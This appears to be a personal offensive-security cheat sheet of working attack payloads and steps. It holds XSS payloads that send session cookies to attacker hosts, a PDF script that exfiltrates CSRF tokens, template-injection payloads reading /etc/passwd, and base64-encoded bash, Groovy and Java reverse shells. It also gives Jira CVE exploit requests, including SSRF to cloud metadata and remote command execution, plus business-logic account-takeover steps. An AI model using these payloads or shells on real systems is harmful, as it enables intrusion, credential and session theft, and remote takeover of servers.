            document.body.appendChild(new_img);
        </script>
--------------------
<script>
new Image().src="https://hacker.com/file.php?cc="+
escape(sessionStorage.getItem('sessionID'));
</script>
-----------------------------
open redirect to xss
java%0d%0ascript%0d%0a:alert(0)
j%0d%0aava%0d%0aas%0d%0acrip%0d%0at%0d%0a:confirm`0`
java%07script:prompt`0`
java%09scrip%07t:prompt`0`
jjavascriptajavascriptvjavascriptajavascriptsjavascriptcjavascriptrjavascriptijavascript
pjavascriptt:confirm`0`

Content-Security-Policy: Script-src 'self' googleapis.com
<div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.6.6/angular.min.js"></script><script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>
-------------------------------------------------------
Content-Security-Policy: Script-src 'self'   => flash file
<object type='application/x-shockwave-flash' data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\%22})))}catch(e){alert(/XSS/)}//'><param name='AllowScriptAccess' value='always'></object>
-------------------------------------------------------
Content-Security-Polciy: default-src 'self'
1- Upload Polyglot file (x.gif or x.jpeg )  => see site
2- <script src=https://vicitm.com/Location/x.jpeg>
-------------------------------------------------------
% steal user csrf token from his page once open my pdf
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello world">
            <event activity="initialize">
                 <script contentType="application/x-formcalc">
					var content = Get("https://victimsite.com/profile.php");
					Post("https://attackerServer.com/log.php",content);
			</script>
		    </event>
		</field>
	    <subform>
</template>
</xdp:xdp>

inject Angular js
for static pages with site.com/dir/#param=x
#param=constructor.constructor('$.get(\'//burpcollab.net/log.php\'+document.cookie)')()
"><u>test{{7*7}} in every input
query=${1’*1’}  ⇒ if 49 or 7777777  in source code 
query={{7*7}}
1: https://acme.com/errorpage{{2*3}}
2- https://acme.com/errorpage{{''.__class__.__mro__[2].__subclasses__
()[40]('/etc/passwd').read() }}
3- tplmap -u "https://examxple.com/file?id=1"

-------------------------------------------
reverse shell : 
# echo -ne 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=
# nc -lvvp 4444

then inject: 
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZG
V2L3RjcC8xMC4xMC4xNC4yMy80NDQ0IDA+JjE=${IFS}|base64${IFS}-d|bash').read()}}

1- deleted user can make actions like modify posts , add new users , delete another users 
2- user can esclate himself to admin 
3- normal user can make admin actions
4- if can't downgrade owner to user you can add new user and put owner as new user and observe you downgraded him successfully
-------------------------------
abusing vicitm with unexpired invitation
1- user1 invites user2 to his list
2- before user2 accept the invitation user1 delete the list 
3- observe the link is still valid 
4- user2 accepts the invitation and found `no such list `
5- user2 tries to delete the list and foudn `can't delete the list or can't leave the list`
-------------------------------
Non working Feature - Cancel email verfication not working lead to account takeover
1- try to change email address 
2- you mistoke the email and this happens alot 
3- you try to cancel email changing and verification and it's not working 
4- the man reached email can takeover the account directly
5- also if cancel applyed try to reset the password by this email and see
--------------------------------
Bypass invitation limit by race condition
1- if the limit is 2 invites send the request to turbo intruder 
2- choose race-single-packet-attack.py and put %s in the place and run obsrve you bypassed the limit
--------------------------------
Bypass invitation limit by using the same cookies
1- for ex: limit is 2 
2- invite the 2 users 
3- go to repeater and change one of the emails to the 3th user and observe success
---------------------------------
Improper Revoking Collaborator Access  
1- userA add userB As Collaborator 
2- UserA remove UserB 
3- UserB doesn't reload the page and make some actions and observe it is still valid 
4- UserB add UserC as backdoor with admin permissions 
---------------------------------
Changing email in backend even it's not allowed in frontend
1- when trying to change the email address found that it is not allowed 
2- but when you update info and intercept request observe email is found 
3- change it and send and observe it changed successfully
--------------------------------
Follow user multiple times by race condition
1- try to follow user and intercept the request send it to intruder 
2- add fake Header Test: %s
3- observe you followed him mutliple times
--------------------------------
Bypass file extension while upload 
1- try to upload file and observe it allows only txt file for example
2- then create file.txt and rename it to file.php for example and observe you bypassed the feature
3- try to execute the file to RCE
--------------------------------
Pre-Account takeover due to 0auth without verifying the new email
Pre-Account Takeover due to enabling 2fa without email verification
Pre-Account takeover due to 0auth without verfiying the new changed email address as
- attacker make new account with his email address 
- verify his email and change it to user and don't verify it 
- then link his account to Google or Facebook 0auth 
- victim would create account and then attacker can takeover it easily
---------------------------------
Delete comments due to reports on them (Race Conditioning)
1- found that comments can be deleted due to 10 reports 
2- send request to turbo intruder and delete any comments by race condtion
---------------------------------
Broken Access Control 
1- Add userA as admin
2- after completing invitation downgrade him to normal user
3- go to endpoint that admin only can access and observe you are still admin although it disappeared
---------------------------------
IDOR user can follow himself
1- follow someone and intercept the request change the id to your id
2- when watching the profile you will find it increased one
----------------------------------
if there is IDOR while changing the password or email then try to chain no rate limit on current password
-----------------------------------
make unlimited number of posts
-----------------------------------
when updating info found that the same url for all users then could be IDOR lead to account takeover
-----------------------------------
Broken Authentication as api is still used after deleting user
1- admin invites userA to join the team
2- userA makes api to access team resources 
3- admin delete user 
4- user's api is still valid and can delete and modify the team
------------------------------------
Broken Access Control makes attacker user to execute admin commands
1- login with admin and user 
2- in admin side try to delete anything 
3- replace the access token of admin by user 
4- if action is ok then vulnerability 

sudo pip3 install droopescan
droopescan scan joomla --url http://dev.inlanefreight.local/
sudo python2.7 -m pip install urllib3 certifi bs4
python2.7 joomlascan.py -u http://dev.inlanefreight.local

droopescan scan drupal -u http://drupal.inlanefreight.local
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
fuzz https://example.com/node/$1$ => fuzz 1 to 1000 found hidden files
/jsonapi/user/user
https://www.exploit-db.com/exploits/44448
https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/
/core/install.php

search for /manager and default credentials for tomcat : => username=tomcat and password=s3cret
/sdp/struts/webconsole.html?debug=console

inurl:/content/dam/
inurl:/content/geometrixx/
inurl:/etc.clientlibs
inurl: /libs/cq/security/userinfo.json
python aem_hacker.py -u <URL Here> --host <Your Public IP>
fuzz wordlist https://github.com/clarkvoss/AEM-List/blob/main/paths?fbclid=IwAR1ifs59vpWJGDLkrNaEeWPx7LtH-e2BkZrKhA_IXVntlR1xBiR2G1PwVi0&source=post_page-----416763d3ad04--------------------------------
https://github.com/0ang3el/aem-hacker
try fuzz manually and bypass dispatcher 
‘ /bin/querybuilder.json.;%0aa.css?path=/etc&p.hits=full&p.limit=-1’

git clone https://github.com/MayankPandey01/Jira-Lens 
cd Jira-Lens
sudo python3 -m pip install -r requirements.txt
cd Jira-Lens
python3 Jira-Lens.py -u ejemploweb.com
----------------------------
/secure/ManageFilters.jspa?filter=popular&filterView=popular
/secure/Dashboard.jspa   => Project Key enumeration =>  CVE 2020 14178  
/secure/QueryComponent!Default.jspa   => CVE-2020-14179
/secure/Dashboard.jspa/secure/QueryComponent!Default.jspa  CVE-2020-14179
/secure/ViewUserHover.jspa?username=<uname> => CVE-2020-14181 username enumeration
/secure/popups/UserPickerBroswer.jspa
/ConfigurePortalPages!default.jspa?view=popular
/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
/secure/popups/UserPickerBrowser.jspa
/jira/servicedesk/customer/user/signup
/servicedesk/customer/user/signup
inurl:/ManageFilters.jspa?filterView=popular AND ( intext:All users OR intext:Shared with the public OR intext:Public )
------------------------
POST /plugins/servlet/gadgets/makeRequest
..
url=https://burpcollab.net
-------------------------
plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/local-hostname/
plugins/servlet/oauth/users/icon-uri/consumerUri=http://[::]
-------------------------
/wiki/label/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm => CVE-2018-5230
/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm
-------------------------
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: JIRA ...   => CVE-2019-3396
	
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler(.)com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
----------------------------
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
-------------------------------
username enumeration => CVE-2019-3403
/rest/api/2/user/picker?query=admin
/rest/api/2/dashboard?maxResults=100
/rest/api/2/dashboard/FUZZ from 1-20000
/rest/api/3/mypermissions
/rest/api/2/mypermissions
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
-------------------------------
/rest/dashboards/1.0/10000/gadget/<GadgetId>/prefs  => Brute force 10,000 to 20,000 => CVE-2020-36287
-------------------------------
CVE-2019-8442
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
-------------------------------
CVE-2019-8449
/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
-------------------------------
SSRF- CVE-2019-8451
http://vulnerablehost.com/plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost.com@http://burpcollab.net
-----------------------------------
/secure/ContactAdministrators!default.jspa   => CVE-2019–11581   => Site 
in `subject` and `request details` put 
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://burpcollab.net/rcetest?a=a').waitFor()
------------------------------------
/_/;/WEB-INF/web.xml
/_/;/WEB-INF/decorators.xml
/_/;/WEB-INF/classes/seraph-config.xml
/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
/_/%3B/WEB-INF/web.xml
/_/%3B/WEB-INF/decorators.xml
/_/%3B/WEB-INF/classes/seraph-config.xml
/_/%3B/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/_/%3B/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/_/%3B/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/_/%3B/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
-------------------------------------
https://github.com/assetnote/jira-mobile-ssrf-exploit => CVE-2022-26135
-------------------------------------
Resources: https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting

/script then you add that code inside textbox (Command injection) 

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
 -------------------------------------------------------
 and go to linux machine 
 nc -nlvp 8888 
 and 
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8888;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


// Linux
String host="10.10.16.4";
int port=8888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
 
 

if found aws  credentials  and need to validate 
https://github.com/andresriancho/enumerate-iam

/en-US/splunkd/_raw/services/server/info/server-info?output_mode=json

1- open javascript files and if found angularJS files then it is angular
try {5*555} in all inputs and if yes then 
{{constructor.constructor('alert(1)')()} }
2- 

port Fuzzing? : http://ip:FUZZ 
dirsearch -u https://example.com/inspector/
dirsearch -l target.txt --deep-recursive
dirsearch -u https://www.example.com
 -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,http://sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip,.log,.xml,.js.,.json

dirsearch -u https://wms-us.tiktok.com/ -i 200,302  -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404,403,429 --follow-redirects --delay=0.1

dirsearch -l $(pwd)/httpx (full path)
ffuf -u https://www.example.com/FUZZ -w wordlists -t 1000
kr scan -u https://www.example.com -w wordlist.kite
/000~ROOT~000/
docker-composer.yaml